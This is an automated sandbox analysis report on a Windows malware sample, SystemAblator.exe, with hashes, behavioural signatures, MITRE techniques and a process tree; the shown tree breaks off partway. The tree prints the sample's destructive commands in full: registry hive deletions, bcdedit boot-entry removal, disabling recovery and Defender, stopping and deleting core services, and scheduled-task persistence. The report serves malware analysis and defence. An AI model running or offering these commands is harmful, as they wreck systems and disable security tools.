51f5545443d2bbc2bc380b2f38b78d9d762587084f0fd115e796fb3ced30ffa4

Analysis

max time kernel
11s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260630-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/06/2026, 17:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
SystemAblator.exe
Size 8.5MB
Sample260630-wj1dqaev21
SHA256 51f5545443d2bbc2bc380b2f38b78d9d762587084f0fd115e796fb3ced30ffa4
MD5 74b249ed6321c69fcb8bf324c3f7d004
SHA1 62dac0bb8bc5d1aba86b2831512ba11f8ccca74d
SHA512 66a7f6157ea0e985b15d94362218a0996d097fd95f122b89ae64151bc7c58f50c203e3f3aedb0b644002f147e3bf3fdb35c32dd121a0f186c0f828b72f6f56d1
SSDEEP 196608:3H8ybLI9oHj9runQx23Oh4jHpLi9oELswBtgBjxScCmFNR:3cyb2wFuQM3rFHELswYBjkcdN
TLSH
T187963321E3B001F9FAB3417ECAA09877E975F8251760DEC703709A5A6F632E06D39761
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 25 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\TenantRestrictions	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVVMCreators	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\AutoResolve	reg.exe

Modifies security service 2 TTPs 7 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Modifies boot configuration data using bcdedit 10 IoCs

pid	Process
4284	bcdedit.exe
1436	bcdedit.exe
1820	bcdedit.exe
2468	bcdedit.exe
5692	bcdedit.exe
1900	bcdedit.exe
5044	bcdedit.exe
2188	bcdedit.exe
1256	bcdedit.exe
960	bcdedit.exe

Disables one or more Microsoft Defender components 1 TTPs 4 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2772	powershell.exe
1888	powershell.exe
1712	powershell.exe
1396	powershell.exe

Manipulates Digital Signatures 1 IoCs

Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.

description	ioc	Process
File created	C:\Windows\System32\wintrust.dll	SystemAblator.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Loads dropped DLL 20 IoCs

pid	Process
2872	SystemAblator.exe
2872	SystemAblator.exe
2872	SystemAblator.exe
2872	SystemAblator.exe
2872	SystemAblator.exe
2872	SystemAblator.exe
2872	SystemAblator.exe
2872	SystemAblator.exe
2872	SystemAblator.exe
2872	SystemAblator.exe
1816	SystemAblator.exe
1816	SystemAblator.exe
1816	SystemAblator.exe
1816	SystemAblator.exe
1816	SystemAblator.exe
1816	SystemAblator.exe
1816	SystemAblator.exe
1816	SystemAblator.exe
1816	SystemAblator.exe
1816	SystemAblator.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1712	powershell.exe
1396	powershell.exe
2772	powershell.exe
1888	powershell.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	SystemAblator.exe
File opened for modification	\??\PhysicalDrive0	SystemAblator.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System32\msinfo32.exe	SystemAblator.exe
File created	C:\Windows\System32\SettingsHandlers_UserAccount.dll	SystemAblator.exe
File created	C:\Windows\System32\html.iec	SystemAblator.exe
File created	C:\Windows\System32\microsoft-windows-sleepstudy-events.dll	SystemAblator.exe
File created	C:\Windows\System32\tokenbinding.dll	SystemAblator.exe
File created	C:\Windows\System32\pacjsworker.exe	SystemAblator.exe
File created	C:\Windows\System32\DscCore.dll	SystemAblator.exe
File created	C:\Windows\System32\msdtcspoffln.dll	SystemAblator.exe
File created	C:\Windows\System32\printui.dll	SystemAblator.exe
File created	C:\Windows\System32\TpmCoreProvisioning.dll	SystemAblator.exe
File created	C:\Windows\System32\PinEnrollmentBroker.exe	SystemAblator.exe
File created	C:\Windows\System32\deviceassociation.dll	SystemAblator.exe
File created	C:\Windows\System32\bg-BG\fms.dll.mui	SystemAblator.exe
File created	C:\Windows\System32\StringFeedbackEngine.dll	SystemAblator.exe
File created	C:\Windows\System32\esrb.rs	SystemAblator.exe
File created	C:\Windows\System32\fhuxpresentation.dll	SystemAblator.exe
File created	C:\Windows\System32\MsRdpWebAccess.dll	SystemAblator.exe
File created	C:\Windows\System32\ErrorDetailsCore.dll	SystemAblator.exe
File created	C:\Windows\System32\imapi.dll	SystemAblator.exe
File created	C:\Windows\System32\swprv.dll	SystemAblator.exe
File created	C:\Windows\System32\SyncAppvPublishingServer.exe	SystemAblator.exe
File created	C:\Windows\System32\dpapimig.exe	SystemAblator.exe
File created	C:\Windows\System32\Microsoft.Graphics.Display.DisplayEnhancementService.dll	SystemAblator.exe
File created	C:\Windows\System32\Narrator.exe	SystemAblator.exe
File created	C:\Windows\System32\bderepair.dll	SystemAblator.exe
File created	C:\Windows\System32\kbdarmty.dll	SystemAblator.exe
File created	C:\Windows\System32\AverageRoom.bin	SystemAblator.exe
File created	C:\Windows\System32\browseui.dll	SystemAblator.exe
File created	C:\Windows\System32\fontdrvhost.exe	SystemAblator.exe
File created	C:\Windows\System32\LicensingCSP.dll	SystemAblator.exe
File created	C:\Windows\System32\C_20871.NLS	SystemAblator.exe
File created	C:\Windows\System32\wsmanconfig_schema.xml	SystemAblator.exe
File created	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Containers-ApplicationGuard-Shared-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat	SystemAblator.exe
File created	C:\Windows\System32\cofiredm.dll	SystemAblator.exe
File created	C:\Windows\System32\newdev.dll	SystemAblator.exe
File created	C:\Windows\System32\nlmproxy.dll	SystemAblator.exe
File created	C:\Windows\System32\cdpsvc.dll	SystemAblator.exe
File created	C:\Windows\System32\PayloadRestrictions.dll	SystemAblator.exe
File created	C:\Windows\System32\rgb9rast.dll	SystemAblator.exe
File created	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\CoreMessaging-Package~31bf3856ad364e35~amd64~it-IT~10.0.26100.1.cat	SystemAblator.exe
File created	C:\Windows\System32\convert.exe	SystemAblator.exe
File created	C:\Windows\System32\mssign32.dll	SystemAblator.exe
File created	C:\Windows\System32\KBDTAT.DLL	SystemAblator.exe
File created	C:\Windows\System32\AppVPublishing.dll	SystemAblator.exe
File created	C:\Windows\System32\AppxSysprep.dll	SystemAblator.exe
File created	C:\Windows\System32\HealthSystemToastIcon.png	SystemAblator.exe
File created	C:\Windows\System32\SFAPE.dll	SystemAblator.exe
File created	C:\Windows\System32\AudioHandlers.dll	SystemAblator.exe
File created	C:\Windows\System32\C_20269.NLS	SystemAblator.exe
File created	C:\Windows\System32\C_20297.NLS	SystemAblator.exe
File created	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Chipset-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat	SystemAblator.exe
File created	C:\Windows\System32\dafDockingProvider.dll	SystemAblator.exe
File created	C:\Windows\System32\KBDGEO.DLL	SystemAblator.exe
File created	C:\Windows\System32\msconfig.exe	SystemAblator.exe
File created	C:\Windows\System32\omadmclient.exe	SystemAblator.exe
File created	C:\Windows\System32\SEMgrSvc.dll	SystemAblator.exe
File created	C:\Windows\System32\WindowsInternal.Shell.CompUiActivation.dll	SystemAblator.exe
File created	C:\Windows\System32\mspatchc.dll	SystemAblator.exe
File created	C:\Windows\System32\provops.dll	SystemAblator.exe
File created	C:\Windows\System32\WwaApi.dll	SystemAblator.exe
File created	C:\Windows\System32\chkntfs.exe	SystemAblator.exe
File opened for modification	C:\Windows\System32\dssec.dat	SystemAblator.exe
File created	C:\Windows\System32\grpconv.exe	SystemAblator.exe
File created	C:\Windows\System32\Microsoft.Uev.CmUtil.dll	SystemAblator.exe

Modifies termsrv.dll 1 TTPs 1 IoCs

Commonly used to allow simultaneous RDP sessions.

Remote Desktop Protocol

T1021.001

description	ioc	Process
File created	C:\Windows\System32\termsrv.dll	SystemAblator.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe

Launches sc.exe 58 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2560	sc.exe
3264	sc.exe
1404	sc.exe
252	sc.exe
4516	sc.exe
5520	sc.exe
5176	sc.exe
1760	sc.exe
2624	sc.exe
5872	sc.exe
1784	sc.exe
4996	sc.exe
5664	sc.exe
2892	sc.exe
3232	sc.exe
5444	sc.exe
3560	sc.exe
5768	sc.exe
5724	sc.exe
3024	sc.exe
4628	sc.exe
696	sc.exe
1844	sc.exe
5044	sc.exe
5876	sc.exe
5376	sc.exe
3336	sc.exe
1536	sc.exe
908	sc.exe
4128	sc.exe
5536	sc.exe
5768	sc.exe
3176	sc.exe
4700	sc.exe
5864	sc.exe
972	sc.exe
1940	sc.exe
2112	sc.exe
4784	sc.exe
972	sc.exe
2020	sc.exe
3512	sc.exe
2560	sc.exe
796	sc.exe
1036	sc.exe
5536	sc.exe
2416	sc.exe
6048	sc.exe
1372	sc.exe
5172	sc.exe
4824	sc.exe
3584	sc.exe
3540	sc.exe
3960	sc.exe
5012	sc.exe
4936	sc.exe
3280	sc.exe
4180	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1616	schtasks.exe
4588	schtasks.exe
4484	schtasks.exe
4712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeSystemEnvironmentPrivilege	2924	svchost.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 1532 wrote to memory of 2872	1532	SystemAblator.exe	87
PID 2872 wrote to memory of 1584	2872	SystemAblator.exe	88
PID 2872 wrote to memory of 2732	2872	SystemAblator.exe	89
PID 2872 wrote to memory of 3352	2872	SystemAblator.exe	92
PID 2872 wrote to memory of 5944	2872	SystemAblator.exe	93
PID 2872 wrote to memory of 3316	2872	SystemAblator.exe	94
PID 2872 wrote to memory of 4240	2872	SystemAblator.exe	96
PID 2872 wrote to memory of 5016	2872	SystemAblator.exe	100
PID 1584 wrote to memory of 5480	1584	cmd.exe	102
PID 3352 wrote to memory of 968	3352	cmd.exe	103
PID 5944 wrote to memory of 1616	5944	cmd.exe	160
PID 5016 wrote to memory of 2772	5016	cmd.exe	105
PID 2732 wrote to memory of 4284	2732	cmd.exe	106
PID 3316 wrote to memory of 5172	3316	cmd.exe	107
PID 4240 wrote to memory of 3960	4240	cmd.exe	108
PID 2872 wrote to memory of 236	2872	SystemAblator.exe	111
PID 2872 wrote to memory of 1544	2872	SystemAblator.exe	114
PID 2872 wrote to memory of 2444	2872	SystemAblator.exe	113
PID 2872 wrote to memory of 2740	2872	SystemAblator.exe	115
PID 2872 wrote to memory of 4148	2872	SystemAblator.exe	119
PID 1544 wrote to memory of 1436	1544	cmd.exe	122
PID 4884 wrote to memory of 1816	4884	SystemAblator.exe	123
PID 4148 wrote to memory of 5616	4148	cmd.exe	124
PID 236 wrote to memory of 2624	236	cmd.exe	125
PID 2444 wrote to memory of 4588	2444	cmd.exe	126
PID 2872 wrote to memory of 2116	2872	SystemAblator.exe	127
PID 2740 wrote to memory of 1820	2740	cmd.exe	129
PID 2872 wrote to memory of 1552	2872	SystemAblator.exe	130
PID 2116 wrote to memory of 2468	2116	cmd.exe	132
PID 2872 wrote to memory of 3456	2872	SystemAblator.exe	133
PID 2872 wrote to memory of 5572	2872	SystemAblator.exe	135
PID 1552 wrote to memory of 2892	1552	cmd.exe	137
PID 3456 wrote to memory of 5692	3456	cmd.exe	138
PID 2872 wrote to memory of 676	2872	SystemAblator.exe	139
PID 5572 wrote to memory of 2120	5572	cmd.exe	141
PID 676 wrote to memory of 3232	676	cmd.exe	142
PID 2872 wrote to memory of 4052	2872	SystemAblator.exe	143
PID 2872 wrote to memory of 5252	2872	SystemAblator.exe	145
PID 1816 wrote to memory of 6040	1816	SystemAblator.exe	147
PID 1816 wrote to memory of 5296	1816	SystemAblator.exe	148
PID 1816 wrote to memory of 620	1816	SystemAblator.exe	151
PID 1816 wrote to memory of 3000	1816	SystemAblator.exe	152
PID 1816 wrote to memory of 5280	1816	SystemAblator.exe	153
PID 1816 wrote to memory of 2644	1816	SystemAblator.exe	156
PID 1816 wrote to memory of 1416	1816	SystemAblator.exe	159
PID 4052 wrote to memory of 1616	4052	cmd.exe	160
PID 5296 wrote to memory of 1900	5296	cmd.exe	162
PID 5252 wrote to memory of 2560	5252	cmd.exe	345
PID 620 wrote to memory of 5444	620	cmd.exe	240
PID 2644 wrote to memory of 796	2644	cmd.exe	165
PID 5280 wrote to memory of 972	5280	cmd.exe	294
PID 3000 wrote to memory of 4484	3000	cmd.exe	167
PID 6040 wrote to memory of 524	6040	cmd.exe	168
PID 1416 wrote to memory of 1888	1416	cmd.exe	169

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe
"C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1532
- C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe
  "C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe"
  2⤵
  - Loads dropped DLL
  - Writes to the Master Boot Record (MBR)
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SYSTEM\CurrentControlSet\Services" /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1584
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services" /f
      4⤵
      Modifies firewall policy service
      Modifies security service
      Maps connected drives based on registry
      PID:5480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reagentc /disable"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3352
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in Windows directory
      PID:968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe" /sc onstart /ru SYSTEM /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5944
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe" /sc onstart /ru SYSTEM /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop winmgmt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3316
  - - C:\Windows\system32\sc.exe
      sc stop winmgmt
      4⤵
      Launches sc.exe
      PID:5172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop RpcSs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\system32\sc.exe
      sc stop RpcSs
      4⤵
      Launches sc.exe
      PID:3960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete RpcSs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:236
  - - C:\Windows\system32\sc.exe
      sc delete RpcSs
      4⤵
      Launches sc.exe
      PID:2624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe" /sc onlogon /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\SystemAblator.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {default} /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1544
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {default} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4148
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f
      4⤵
      PID:5616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} device null"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} device null
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop PlugPlay"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\Windows\system32\sc.exe
      sc stop PlugPlay
      4⤵
      Launches sc.exe
      PID:2892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3456
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5572
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f
      4⤵
      PID:2120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete PlugPlay"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:676
  - - C:\Windows\system32\sc.exe
      sc delete PlugPlay
      4⤵
      Launches sc.exe
      PID:3232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4052
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /f
      4⤵
      PID:1616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop DcomLaunch"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5252
  - - C:\Windows\system32\sc.exe
      sc stop DcomLaunch
      4⤵
      Launches sc.exe
      PID:2560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete DcomLaunch"
    3⤵
    PID:464
  - - C:\Windows\system32\sc.exe
      sc delete DcomLaunch
      4⤵
      Launches sc.exe
      PID:5768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop LSM"
    3⤵
    PID:2632
  - - C:\Windows\system32\sc.exe
      sc stop LSM
      4⤵
      Launches sc.exe
      PID:5176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete LSM"
    3⤵
    PID:1088
  - - C:\Windows\system32\sc.exe
      sc delete LSM
      4⤵
      Launches sc.exe
      PID:4128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop EventLog"
    3⤵
    PID:5656
  - - C:\Windows\system32\sc.exe
      sc stop EventLog
      4⤵
      Launches sc.exe
      PID:1404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete EventLog"
    3⤵
    PID:2336
  - - C:\Windows\system32\sc.exe
      sc delete EventLog
      4⤵
      Launches sc.exe
      PID:696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop Dnscache"
    3⤵
    PID:5364
  - - C:\Windows\system32\sc.exe
      sc stop Dnscache
      4⤵
      Launches sc.exe
      PID:1844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete Dnscache"
    3⤵
    PID:4788
  - - C:\Windows\system32\sc.exe
      sc delete Dnscache
      4⤵
      Launches sc.exe
      PID:5724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop NlaSvc"
    3⤵
    PID:6028
  - - C:\Windows\system32\sc.exe
      sc stop NlaSvc
      4⤵
      Launches sc.exe
      PID:5536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc delete NlaSvc"
    3⤵
    PID:4940
  - - C:\Windows\system32\sc.exe
      sc delete NlaSvc
      4⤵
      Launches sc.exe
      PID:4784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop netprofm"
    3⤵
    PID:1716
  - - C:\Windows\system32\sc.exe
      sc stop netprofm
      4⤵
      Launches sc.exe
      PID:6048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true""
    3⤵
    PID:2552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:1712
- - C:\Windows\system32\cmd.exe
